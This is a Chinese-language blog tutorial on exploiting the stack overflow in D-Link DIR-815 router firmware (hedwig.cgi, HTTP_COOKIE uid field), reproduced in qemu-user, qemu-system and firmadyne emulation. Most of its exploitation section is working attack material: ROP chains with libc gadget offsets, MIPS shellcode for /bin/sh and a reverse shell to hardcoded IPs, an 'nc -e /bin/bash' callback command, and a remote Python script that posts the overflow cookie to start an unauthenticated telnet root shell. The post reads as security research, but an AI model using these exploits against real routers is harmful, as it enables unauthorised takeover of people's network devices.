<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】IOT設備漏洞挖掘從入門到入門(二)- DLink Dir 815漏洞分析及三種方式模擬復現

    VSole2022-05-31 08:46:41

    最近在看各種關于路由器的環境模擬,漏洞復現的文章及《家用路由器0Day技術》,現在選擇一個Dlink-dir-815進行分析,并且用三種方式對漏洞利用進行復現,分別是qemu-uset模式,qemu-system模式,以及firmadyne,希望對大家能有幫助。

    環境準備

    主要的環境準備參見上一篇文章,這里介紹本篇文章中會用的的模擬工具以及另一個靜態分析工具。

    ghidra

    下載地址

    github地址

    看雪平臺大神 提取碼:tppr

    Firmadyne

    git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
    cd ./firmware-analysis-toolkit/firmadyne
    vi firmadyne.config
    #將FIRMWARE_DIR=/home/vagrant/firmadynez這一行改為自己的firmadyne的目錄路徑
    sudo ./download.sh
    sudo -H pip install git+https://github.com/ahupp/python-magic
    sudo -H pip install git+https://github.com/sviehb/jefferson
    ##下面為配置PostgreSQL數據庫,提示輸入密碼的時候,輸入firmadyne
    sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
    sudo apt-get install postgresql
    sudo -u postgres createuser -P firmadyne
    sudo -u postgres createdb -O firmadyne firmware
    sudo -u postgres psql -d firmware < ./firmadyne/database/schema
    ##
    cp ../fat.py ./
    cp ../reset.py ./
    vi fat.py
    ##firmadyne_path = "/home/iot/source/firmware-analysis-toolkit/firmadyne"
    ##root_pass = "......"
    ##firmadyne_pass = "firmadyne"
    ##將firmadyne的路徑以及root的密碼修改一下
    sudo service postgresql start
    #接下來就是模擬運行了
    

    詳細的內容請參見網址

    nmap

    svn co https://svn.nmap.org/nmap
    cd nmap
    ./configure
    make
    sudo make install
    

    固件下載

    首先是固件下載,下載的地址,在這里,我選擇的是dir815_v1.00_a86b.bin

    查看設備指令架構

    cd _dir815_v1.00_a86b.bin.extracted/squashfs-root/bin
    file busybox
    

    可以看到,指令集架構是mips小端

    多重棧溢出漏洞

    關于這個漏洞的話,在《家用路由器0day》這本書中已經詳細的進行了介紹,接下來主要的重點放在漏洞分析,環境模擬,exp編寫上面,因為這些內容在我調試的過程中困擾著我。

    漏洞分析

    根據之前的漏洞分析,是和HTTP_COOKIE有關,我們用分別用IDA和ghidra打開cgibin這個文件,在string中進行搜索HTTP_COOKIE,可以找到有一個函數,就是sess_get_uid,分析一下這個函數,就是提取HTTP_COOKIE里面的uid=后面的部分,然后看一下交叉引用,找到了hedwigcgi這個main函數中,我們可以知道就是后面的sprintf函數引起了棧溢出,但是這個仔細看后面的代碼,可以知道,后面還有一個sprintf函數,第四個參數同樣是HTTP_COOKIEuid=后面的內容,所以我們可以得出結論,這塊也就是這個漏洞的漏洞點。如下面兩張圖所示:

    但是具體是哪一個呢?我們看代碼可以知道,后面回去讀/var/tmp/temp.xml,如果有的話,就會繼續往下執行,如果沒有的話,就跳轉到0x409a64,然后就是結束。所以也就是判斷一下路由器中有沒有/var/tmp ,具體方法詳見《家用路由器0day漏洞挖掘技術》。最終的結論是第二個sprintf引起的棧溢出漏洞。

    固件模擬并調試

    這一部分是我想介紹,并花費了很長時間摸索的內容,因為沒有路由器實體目標,所以需要通過模擬的方式來啟動,這里要介紹模擬調試的三種方式,分別是qemu-user模式,qemu-system模式,firmadyne,最后一種方式目前只能通過顯示來調試其中的偏移。

    qemu-user模式本地模擬

    調試啟動腳本

    首先是編寫啟動腳本,gedit local.sh,內容如下:

    #!/bin/sh
    INPUT="uid=1234"
    TEST="uid=1234`cat content`"
    LEN=$(echo -n "INPUT" |wc -c)
    PORT="1234"
    cp $(which qemu-mipsel-static) ./qemu
    echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -g $PORT /htdocs/web/hedwig.cgi
    rm -f ./qemu
    

    這個調試啟動腳本與之前習題的啟動腳本,不一樣的地方是添加了-E,這個是用來添加環境變量的。因為在cgibin這個程序中,我們可以看到有很多地方都運用了getenv這個函數,它的作用就是用來獲取環境變量的值,因為很多例如HTTP_COOKIE的取值,就是同這個方式,根據程序分析而來,我們需要設置如上的這些環境變量。(這些環境變量就是報文頭部中請求的部分內容)。

    測試偏移量

    在啟動之前,還有一個事情就是要生成content數據,我們還是像上一篇一樣,先用patternLocOffset.py去生成測試偏移的content,并最終得到偏移為1039。

    具體的流程是:

    python patternLocOffset.py -c -l 2000 -f content
    sudo ./local.sh
    gdb-multiarch htdocs/cgibin
    #這里調試htdocs/cgibin,是因為hedwig.cgi是一個鏈接文件,他的
    
    本地模擬的exp

    接下來就是寫content的生成腳本,也就是本地模擬的exp,因為程序最后即將返回的時候可以設置很多寄存器的值,所以我們也就省去了先調用scandir的那一段gadget了。最后的內容如下所示:

    .text:00409A28                 lw      $ra, 0x4E8+var_4($sp)
    .text:00409A2C                 move    $v0, $s7
    .text:00409A30                 lw      $fp, 0x4E8+var_8($sp)
    .text:00409A34                 lw      $s7, 0x4E8+var_C($sp)
    .text:00409A38                 lw      $s6, 0x4E8+var_10($sp)
    .text:00409A3C                 lw      $s5, 0x4E8+var_14($sp)
    .text:00409A40                 lw      $s4, 0x4E8+var_18($sp)
    .text:00409A44                 lw      $s3, 0x4E8+var_1C($sp)
    .text:00409A48                 lw      $s2, 0x4E8+var_20($sp)
    .text:00409A4C                 lw      $s1, 0x4E8+var_24($sp)
    .text:00409A50                 lw      $s0, 0x4E8+var_28($sp)
    .text:00409A54                 jr      $ra
    .text:00409A58                 addiu   $sp, 0x4E8
    

    所以我們的通用的一個腳本如下content.py:

    from pwn import *
    context.arch = 'mips'
    context.endian = 'little'
    data = "a"*1003
    data += "aaaa" #s0
    data += "bbbb" #s1
    data += "cccc" #s2
    data += "dddd" #s3
    data += "eeee" #s4
    data += "ffff" #s5
    data += "gggg" #s6
    data += "hhhh" #s7
    data += "iiii" #gp
    data += "jjjj" #ra
    f=open("content","wb")
    f.write(data)
    f.close()
    

    在相應寄存器的位置填入我們的gadget,接下來,我將用兩種方式來編寫我們的exp。

    一:采用《0day》這本書中的方式,調用system函數,然后通過rop填入參數即可。這個里面有一個技巧就是system的地址為0x53200,出現了x00字符,所以我們采用書上的先對這個地址減一,也就是我們傳入一個減一的值,后面調用gadget對這個值加一,并且將寄存器a0的值弄成我們想要執行的命令就可以。

    1.尋找gadget。

    在這里,我們將lib/libuClibc-0.9.30.1.so放入IDA中來尋找gadget,因為libc.so.0是他的鏈接。

    接下來,顯示尋找“+1”的gadget,通過mipsrop.find("addiu $s0,1"),找到第一個gadget

    ----------------------------------------------------------------------------------------------------------------
    |  Address     |  Action                                              |  Control Jump                          |
    ----------------------------------------------------------------------------------------------------------------
    |  0x000158C8  |  addiu $s0,1                                         |  jalr  $s5                             |
    

    然后我們看一下0x158c8處的代碼,如下:

    .text:000158C8                 move    $t9, $s5
    .text:000158CC                 jalr    $t9
    .text:000158D0                 addiu   $s0, 1
    

    是通過寄存器$s5來進行下一個跳轉的,加下來就是找一個設置寄存器$a0的gadget,也就是通過這個gadget來設置system的參數。我們通過mipsrop.stackfinder()來找一個。

    |  0x000159CC  |  addiu $s5,$sp,0x170+var_160                         |  jalr  $s0                             |
    

    我們看一下這個地址的匯編代碼:

    .text:000159CC                 addiu   $s5, $sp, 0x170+var_160
    .text:000159D0                 move    $a1, $s3
    .text:000159D4                 move    $a2, $s1
    .text:000159D8                 move    $t9, $s0
    .text:000159DC                 jalr    $t9 ; mempcpy
    .text:000159E0                 move    $a0, $s5
    

    這個地方是通過寄存器$s0來進行下一個跳轉的,和我們最開始找的那個“+1”gadget所對應的寄存器是同一個。

    2.編寫exp

    所以我們最終的exp模版如下所示:

    from pwn import *
    context.arch = 'mips'
    context.endian = 'little'
    libc_base = 0x76738000
    system_offset = 0x53200-1
    gadget1 = 0x159cc
    gadget2 = 0x158C8
    #cmd = "nc -e /bin/bash 192.168.100.254 9999"
    cmd = "/bin/sh"
    data = "a"*1003
    data += p32(libc_base+system_offset) #s0
    data += "bbbb" #s1
    data += "cccc" #s2
    data += "dddd" #s3
    data += "eeee" #s4
    data += p32(libc_base+gadget1) #s5
    data += "ffff" #s6
    data += "gggg" #s7
    data += "aaaa" #gp
    data += p32(libc_base+gadget2) #ra
    data += "b"*0x10
    data += cmd
    f=open("content","wb")
    f.write(data)
    f.close()
    

    我們只要在cmd的位置填上我們想要其執行的指令就可以啦。這個里面還有一個libc_base的基地址,我們還是通過上一篇介紹的,也就是用gdb調試的時候,用vmmap查看的。過程如下:

    gdb-multiarch htdocs/cgibin
    target remote 127.0.0.1:1234
    b *0x409A54
    c
    vmmap
    

    這樣,我們就能得到libc的基地址。

    3.測試

    用user模式進行測試的時候,總是沒有成功,不知道原因,如圖所示,總是直接跳轉到原來$ra的位置繼續執行,然而寄存器$fp的值又發生變化啦,所以就出錯啦.

    后來在跟著調試過程中,發現下面的代碼:

    .text:0005327C                 la      $t9, fork
    .text:00053280                 jalr    $t9 ; fork
    .text:00053284                 move    $s4, $v0
    .text:00053288                 bgez    $v0, loc_532CC
    .text:0005328C                 move    $s0, $v0
    .text:00053290                 move    $a1, $s2
    .text:00053294                 move    $t9, $s1
    .text:00053298                 jalr    $t9 ; signal
    .text:0005329C                 li      $a0, 3
    .text:000532A0                 move    $a1, $s3
    .text:000532A4                 move    $t9, $s1
    .text:000532A8                 jalr    $t9 ; signal
    .text:000532AC                 li      $a0, 2
    .text:000532B0                 move    $a1, $s4
    .text:000532B4                 move    $t9, $s1
    .text:000532B8                 jalr    $t9 ; signal
    .text:000532BC                 li      $a0, 0x12
    .text:000532C0                 lw      $gp, 0x48+var_30($sp)
    .text:000532C4                 b       loc_533C4
    .text:000532C8                 li      $v0, 0xFFFFFFFF
    .text:000532CC  #     ---------------------------------------------------------------------------
    .text:000532CC
    .text:000532CC loc_532CC:                               # CODE XREF: system+88↑j
    .text:000532CC                 bnez    $v0, loc_5333C
    .text:000532D0                 li      $a0, 3
    .text:000532D4                 move    $t9, $s1
    .text:000532D8                 jalr    $t9 ; signal
    .text:000532DC                 move    $a1, $zero
    .text:000532E0                 li      $a0, 2
    .text:000532E4                 move    $t9, $s1
    .text:000532E8                 jalr    $t9 ; signal
    .text:000532EC                 move    $a1, $zero
    .text:000532F0                 li      $a0, 0x12
    .text:000532F4                 move    $t9, $s1
    .text:000532F8                 jalr    $t9 ; signal
    .text:000532FC                 move    $a1, $zero
    .text:00053300                 lw      $gp, 0x48+var_30($sp)
    .text:00053304                 move    $a3, $s5
    .text:00053308                 li      $a0, 0x60000
    .text:0005330C                 li      $a1, 0x60000
    .text:00053310                 li      $a2, 0x60000
    .text:00053314                 la      $t9, execl
    .text:00053318                 addiu   $a0, (aBinSh - 0x60000)  # "/bin/sh"
    

    他是先fork了一個子進程,在子進程中執行命令,然而通過user模式模擬的時候,無法實現。所以我就想了第二個方式,運用上一篇文章的內容,也就是跳轉直行shellcode的方式去執行。

    二.執行shellcode

    1.尋找gadget

    我們分別用mipsrop.find("li $a0,1"),mipsrop.tail(),mipsrop.stackfinder(),mipsrop.find("mov $t9,$a1")來尋找我們的gadget,其實有很多組合,我選取了其中之一:

    #gadget1
    .text:00057E50                 li      $a0, 1
    .text:00057E54                 move    $t9, $s1
    .text:00057E58                 jalr    $t9 ; sub_57B50
    .text:00057E5C                 ori     $a1, $s0, 2
    #gadget2
    .text:0003E524                 move    $t9, $s2
    .text:0003E528                 lw      $ra, 0x28+var_4($sp)
    .text:0003E52C                 lw      $s2, 0x28+var_8($sp)
    .text:0003E530                 lw      $s1, 0x28+var_C($sp)
    .text:0003E534                 lw      $s0, 0x28+var_10($sp)
    .text:0003E538                 jr      $t9 ; xdr_opaque_auth
    .text:0003E53C                 addiu   $sp, 0x28
    #gadget3
    .text:0000B814                 addiu   $a1, $sp, 0x168+var_150
    .text:0000B818                 move    $t9, $s1
    .text:0000B81C                 jalr    $t9 ; stat64
    .text:0000B820                 addiu   $a0, (off_5C144 - 0x60000)
    #gadget4
    .text:00037E6C                 move    $t9, $a1
    .text:00037E70                 addiu   $a0, 0x4C  # 'L'
    .text:00037E74                 jr      $t9
    .text:00037E78                 move    $a1, $a2
    

    2.編寫exp并測試驗證

    我們最終編寫的exp如下所示:

    libc_base = 0x76738000
    sleep_offset = 0x56BD0
    gadget1 = 0x57E50   
    gadget2 = 0x0003E524
    gadget3 = 0x0000B814
    gadget4 = 0x00037E6C
    data = "a"*1003
    data += "aaaa" #s0
    data += p32(libc_base+gadget2) #s1
    data += p32(libc_base+sleep_offset) #s2
    data += "aaaa" #s3
    data += "aaaa" #s4
    data += "aaaa" #s5
    data += "aaaa" #s6
    data += "aaaa" #s7
    data += "aaaa" #gp
    data += p32(libc_base+gadget1) #ra
    data += "b"*0x18
    data += "bbbb" #s0
    data += p32(libc_base+gadget4) #s1
    data += "bbbb" #s2
    data += p32(libc_base+gadget3) #ra
    data += "c"*0x18
    data += shellcode 
    f=open("content","wb")
    f.write(data)
    f.close()
    

    其中shellcode部分我們采用了上一篇文章中的執行/bin/sh的shellcode,如下:

    payload = "x26x40x08x01"*2
    payload += "xffxffx06x28"  # slti $a2, $zero, -1
    payload += "x62x69x0fx3c"  # lui $t7, 0x6962
    payload += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
    payload += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
    payload += "x73x68x0ex3c"  # lui $t6, 0x6873
    payload += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
    payload += "xf8xffxaexaf"  # sw $t6, -8($sp)
    payload += "xfcxffxa0xaf"  # sw $zero, -4($sp)
    payload += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
    payload += "xffxffx05x28"  # slti $a1, $zero, -1
    payload += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
    payload += "x0cx01x01x01"  # syscall 0x40404
    

    結果出現下面的情形:

    這個時候,我想起一個大神的一篇文章,上面采用的方式是先執行一個fork然后執行其他的shellcode,我嘗試了這個方法,shellcode如下:

    sc_fork = "x26x40x08x01"*2
    sc_fork +="xffxffx11x24x0fx27x04x24x46x10x02x24x0cx01x01x01"
    sc_fork+="x65x66xb9x87"
    sc_fork+="x2dx10x11x24xa2x0fx02x24x0cx01x01x01xf8xffx40x1c"
    payload = "xffxffx06x28"  # slti $a2, $zero, -1
    payload += "x62x69x0fx3c"  # lui $t7, 0x6962
    payload += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
    payload += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
    payload += "x73x68x0ex3c"  # lui $t6, 0x6873
    payload += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
    payload += "xf8xffxaexaf"  # sw $t6, -8($sp)
    payload += "xfcxffxa0xaf"  # sw $zero, -4($sp)
    payload += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
    payload += "xffxffx05x28"  # slti $a1, $zero, -1
    payload += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
    payload += "x0cx01x01x01"  # syscall 0x40404
    

    結果出現如下的情景:

    此處的illegal instruction是我不能理解的,請各位大神幫忙解答一下。

    然后我又嘗試了反彈 shell的shellcode,shellcode如下:

    payload = "x26x40x08x01"*4
    payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
    payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
    payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
    payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
    #payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"
    # 192.168.1.177
    payload += "xf8xffxa5xafx03x84x05x3cxc0xa8xa5x34xfcxffxa5xaf"
    # 192.168.3.132
    #payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf"
    # 192.168.100.254
    payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
    payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
    payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
    payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
    payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
    payload += "xabx0fx02x24x0cx09x09x01"
    

    結果出現下面的情景:

    出現這個的原因,也不是很理解,還是請各位大佬幫忙解答一下。后面我就先歸因于user mode模式下的問題。接下來,就要驗證qemu-system下可不可以(如此繁瑣的驗證,就是因為沒有真機啊,哭)

    qemu-system模式模擬

    首先是環境復原,這一步真的是耗費了好長時間啊,此前對于http server的理解不是很夠,所以找了很多的文章來看,很感謝大佬的文章,幫我解答了這個疑惑,現在在這邊詳細講解一下,cgi文件處理數據的流程基本如下:

    1.主Web程序監聽端口->傳送HTTP數據包->HTTP中headers等數據通過環境變量的方式傳給cgi處理程序->cgi程序通過getenv獲取數據并處理返回給主程序->向客戶端返回響應數據
    2.post的數據,可以通過流的方式傳入,也就是類似于echo "uid=aaa"| /htdocs/web/hedwig.cgi
    

    之前一直在想一個問題,這些環境變量啊,或者post的數據啊,能不能直接通過外部數據請求的方式,傳入到要調試的程序中?好像是不行的,聽了一個大佬看法,因為httpd開啟服務的時候,如果外部的請求為這些cgi的話,那么就會新fork一個進程,聽到這的話,我就明白已經用gdbserver加載的程序和外部請求加載的cgi不是一個,所以也就不能用這種方式了。所以在mips虛擬機上調試的流程如下:

    1.部分還原httpd服務,使其能正常訪問
    2.設置環境變量,提前設置好cgibin的參數請求
    3.gdbserver加載hedwig.cgi
    4.gdb-multiarch在外面進行連接調試
    

    下面我將從上面四個部分分別進行講解,因為大佬文章中的固件是1.02,和1.00還有很多不同,所以將根據自身情況進行調整。

    一.還原httpd服務

    我們首先先找一下有哪些是和httpd服務有關的內容,因為httpd開啟的時候,會有一個配置文件。

    find -name "*http*"
    

    然后出現了四個東西,如下:

    看到其中的有一個cfg,然后打開這個php,可以看到這是一個生成httpd的配置文件的php文件,所以我們需要先根據這個東西直接改寫一個cfg文件。

    改寫后的conf文件如下:

    Umask 026
    PIDFile /var/run/httpd.pid
    LogGMT On
    ErrorLog /log
    Tuning
    {
        NumConnections 15
        BufSize 12288
        InputBufSize 4096
        ScriptBufSize 4096
        NumHeaders 100
        Timeout 60
        ScriptTimeout 60
    }
    Control
    {
        Types
        {
            text/html    { html htm }
            text/xml    { xml }
            text/plain    { txt }
            image/gif    { gif }
            image/jpeg    { jpg }
            text/css    { css }
            application/octet-stream { * }
        }
        Specials
        {
            Dump        { /dump }
            CGI            { cgi }
            Imagemap    { map }
            Redirect    { url }
        }
        External
        {
            /usr/sbin/phpcgi { php }
        }
    }
    Server
    {
        ServerName "Linux, HTTP/1.1, "
        ServerId "1234"
        Family inet
        Interface eth0
        Address 192.168.100.3
        Port "80"
        Virtual
        {
            AnyHost
            Control
            {
                Alias /
                Location /htdocs/web
                IndexNames { index.php }
                External
                {
                    /usr/sbin/phpcgi { router_info.xml }
                    /usr/sbin/phpcgi { post_login.xml }
                }
            }
            Control
            {
                Alias /HNAP1
                Location /htdocs/HNAP1
                External
                {
                    /usr/sbin/hnap { hnap }
                }
                IndexNames { index.hnap }
            }
        }
    }
    

    將這個文件改寫完之后,我們就用之前的方式啟動mipsel虛擬機(在運行之前,最好先備份一個文件系統,因為之后的操作會改變原本的mipsel的文件系統的內容):

    在mipsel文件夾下運行
    ./start.sh
    ./net.sh
    #在虛擬機中運行
    ./net.sh
    

    這樣的話,mipsel虛擬機和本機網絡就互通啦,然后我們將解壓后的固件的文件系統拷貝到mipsel虛擬機中。接下來就是在虛擬機中運行的一些環境復原的東西啦,按照如下的步驟進行操作:

    cd root/_dir815_v1.00_a86b.bin.extracted/squashfs-root
    cp conf /
    cp sbin/httpd /
    cp -rf htdocs/ /
    rm /etc/services
    cp -rf etc/ /
    cp lib/ld-uClibc-0.9.30.1.so  /lib/
    cp lib/libcrypt-0.9.30.1.so  /lib/
    cp lib/libc.so.0  /lib/   
    cp lib/libgcc_s.so.1  /lib/
    cp lib/ld-uClibc.so.0  /lib/         
    cp lib/libcrypt.so.0  /lib/         
    cp lib/libgcc_s.so  /lib/  
    cp lib/libuClibc-0.9.30.1.so  /lib/
    cd /
    ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
    ln -s /htdocs/cgibin /usr/sbin/phpcgi
    ln -s /htdocs/cgibin /usr/sbin/phpcgi
    ./httpd -f conf
    

    然后我們在瀏覽器匯總訪問,出現如下圖所示內容,即為成功:

    我們可以將其寫成一個固定的腳本,這樣就可以方便執行啦。

    二.設置環境變量

    我們通過export的方式來設置環境變量,其中的HTTP_COOKIE部分,

    export CONTENT_LENGTH="100"
    export CONTENT_TYPE="application/x-www-form-urlencoded"
    export HTTP_COOKIE="uid=1234`cat content1`"
    export REQUEST_METHOD="POST"
    export REQUEST_URI="/hedwig.cgi"
    

    三.gdbserver加載hedwig.cgi

    我們前面已經通過ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi,然后我們通過下面的指令進行gdb掛載。

    echo "uid=1234"|./gdbserver.mipsle 192.168.100.254:6666 ./htdocs/web/hedwig.cgi
    

    所以寫了一個腳本,在mipsel虛擬機里面執行,方便gdbserver加載程序,腳本如下:

    #!/bin/bash
    export CONTENT_LENGTH="100"
    export CONTENT_TYPE="application/x-www-form-urlencoded"
    export HTTP_COOKIE="uid=1234`cat content1`"
    export REQUEST_METHOD="POST"
    export REQUEST_URI="/hedwig.cgi"
    echo "uid=1234"|./gdbserver.mipsle 192.168.100.254:6666 ./htdocs/web/hedwig.cgi
    unset CONTENT_LENGTH
    unset CONTENT_TYPE
    unset HTTP_COOKIE
    unset REQUEST_METHOD
    unset REQUEST_URI
    

    四.gdb-multiarch在本地加載

    gdb-multiarch
    target remote 192.168.100.3:6666
    

    五.編寫exp

    我們依然要經過確定偏移,控制rap,lib基地址,rop鏈的構造,shellcode的構造等過程。確定偏移的過程依然是之前那一套,然后將其拷貝到mipsel虛擬機里面。可以得知偏移為1005,基地址為0x77f34000。我們的exp仍然分為兩個部分,第一個為用system執行命令,第二個為執行shellcode的exp。

    1)我們首先來看第一個exp如下

    from pwn import *
    context.arch = 'mips'
    context.endian = 'little'
    libc_base = 0x77f34000
    system_offset = 0x53200-1
    gadget1 = 0x159cc
    gadget2 = 0x158C8
    cmd = "nc -e /bin/bash 192.168.100.254 9999"
    data = "a"*969
    data += p32(libc_base+system_offset) #s0
    data += "bbbb" #s1
    data += "cccc" #s2
    data += "dddd" #s3
    data += "eeee" #s4
    data += p32(libc_base+gadget1) #s5
    data += "ffff" #s6
    data += "gggg" #s7
    data += "aaaa" #gp
    data += p32(libc_base+gadget2) #ra
    data += "b"*0x10
    data += cmd
    f=open("content","wb")
    f.write(data)
    f.close()
    

    這個exp的實現,首先是基于上面user的部分修改的,然后執行的指令的話,是根據mipsel虛擬機里面的指令來寫的,實際的指令可以修改。我們可以看到里面的命令如下:

    最后執行的結果如下:

    2)我們接下來看第二個exp如下:

    from pwn import *
    context.arch = 'mips'
    context.endian = 'little'
    payload= "x26x40x08x01"*4
    payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
    payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
    payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
    payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
    #payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"              # 192.168.1.177
    #payload += "xf8xffxa5xafx03x84x05x3cxc0xa8xa5x34xfcxffxa5xaf"               # 192.168.3.132
    payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf"               # 192.168.100.254
    payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
    payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
    payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
    payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
    payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
    payload += "xabx0fx02x24x0cx09x09x01"
    shellcode = payload
    libc_base = 0x77f34000
    sleep_offset = 0x56BD0
    gadget1 = 0x57E50   
    gadget2 = 0x0003E524
    gadget3 = 0x0000B814
    gadget4 = 0x00037E6C
    data = "a"*969
    data += "aaaa" #s0
    data += p32(libc_base+gadget2) #s1
    data += p32(libc_base+sleep_offset) #s2
    data += "aaaa" #s3
    data += "aaaa" #s4
    data += "aaaa" #s5
    data += "aaaa" #s6
    data += "aaaa" #s7
    data += "aaaa" #gp
    data += p32(libc_base+gadget1) #ra
    data += "b"*0x18
    data += "bbbb" #s0
    data += p32(libc_base+gadget4) #s1
    data += "bbbb" #s2
    data += p32(libc_base+gadget3) #ra
    data += "c"*0x18
    data += shellcode 
    f=open("content","wb")
    f.write(data)
    f.close()
    

    執行的結果如下:

    firmadyne模擬

    接下來,介紹一下firmadyne的模擬。根據上面,我們已經把firmadyne安裝完畢,接下來,我們將固件放在同目錄下,然后執行:

    python fat.py
    

    然后輸入dir815_v1.00_a86b.bin,還有dlink,接下來,就等待著這個固件的模擬,出現如下的情景,就可以

    然后我們通過nmap掃描的話,可以出現下面的場景:

    然后,我們依然用兩種方式來展示我們的exp。

    1)system的方式:

    腳本如下:

    from pwn import *
    import requests
    import sys
    def get_payload(offset,cmd):
        #libc_base = 0x77f34000
        libc_base = 0x2aaf8000
        system_offset = 0x53200-1
        gadget1 = 0x159cc
        gadget2 = 0x000158C8
        data = "uid=1234"
        data += "a"*offset
        data += p32(libc_base+system_offset) #s0
        data += "aaaa" #s1
        data += "aaaa" #s2
        data += "aaaa" #s3
        data += "aaaa" #s4
        data += p32(libc_base+gadget1) #s5
        data += "aaaa" #s6
        data += "aaaa" #s7
        data += "aaaa" #gp
        data += p32(libc_base+gadget2) #ra
        data += "b"*0x10
        data += cmd
        return data
    if __name__=="__main__":
        cmd = "telnetd -l /bin/sh"
        fake_cookie=get_payload(969,cmd)
        #fake_cookie = get_payload3(969)
        header = {
            'Cookie'        : fake_cookie,
            'Content-Type'  : 'application/x-www-form-urlencoded',
            'Content-Length': '100'
            }
        data = {'uid':'1234'}
        ip=sys.argv[1]
        url="http://"+ip+"/hedwig.cgi"
        r=requests.post(url=url,headers=header,data=data)
        print r.text
    

    說明一下,開始的時候不知道加載地址,然后隨便試了幾個地址,然后就看到執行成功了。執行之后,我們可以看到

    開啟了telnet服務,我們可以直接telnet上去,如下圖所示:

    2)shellcode的方式

    這個里面,就是把get_payload函數修改為reverse_shell的部分,感覺也是可以的,shellcode如下:

    def get_payload2(offset):
        payload= "x26x40x08x01"*4
        payload += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
        payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
        payload += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
        payload += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
        payload += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
        payload += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
        #payload += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"                  # 192.168.1.177
        payload += "xf8xffxa5xafx00x02x05x3cxc0xa8xa5x34xfcxffxa5xaf"                   # 192.168.3.132
        #payload += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf"                   # 192.168.100.254
        payload += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
        payload += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
        payload += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
        payload += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
        payload += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
        payload += "xabx0fx02x24x0cx09x09x01"
        shellcode = payload
        libc_base = 0x2aaf8000
        sleep_offset = 0x56BD0
        gadget1 = 0x57e50
        gadget2 = 0x3e524
        gadget3 = 0x0000B814
        gadget4 = 0x00037E6C
        data='a'*offset
        data+="a"*0x18
        data+="aaaa" #s0
        data+=p32(gadget2+libc_base) #s1
        data+=p32(sleep_offset+libc_base) #s2
        data+="aaaa" #s3
        data+="aaaa" #s4
        data+="aaaa" #s5
        data+="aaaa" #s6
        data+="aaaa" #s7
        data+="aaaa" #fp
        data+=p32(gadget1+libc_base) #ra
        data+="b"*0x18
        data+="bbbb" #s0
        data+=p32(gadget4+libc_base) #s1
        data+="bbbb" #s2
        data+=p32(gadget3+libc_base) #ra
        data+="c"*0x18
        data+=shellcode
        return data
    

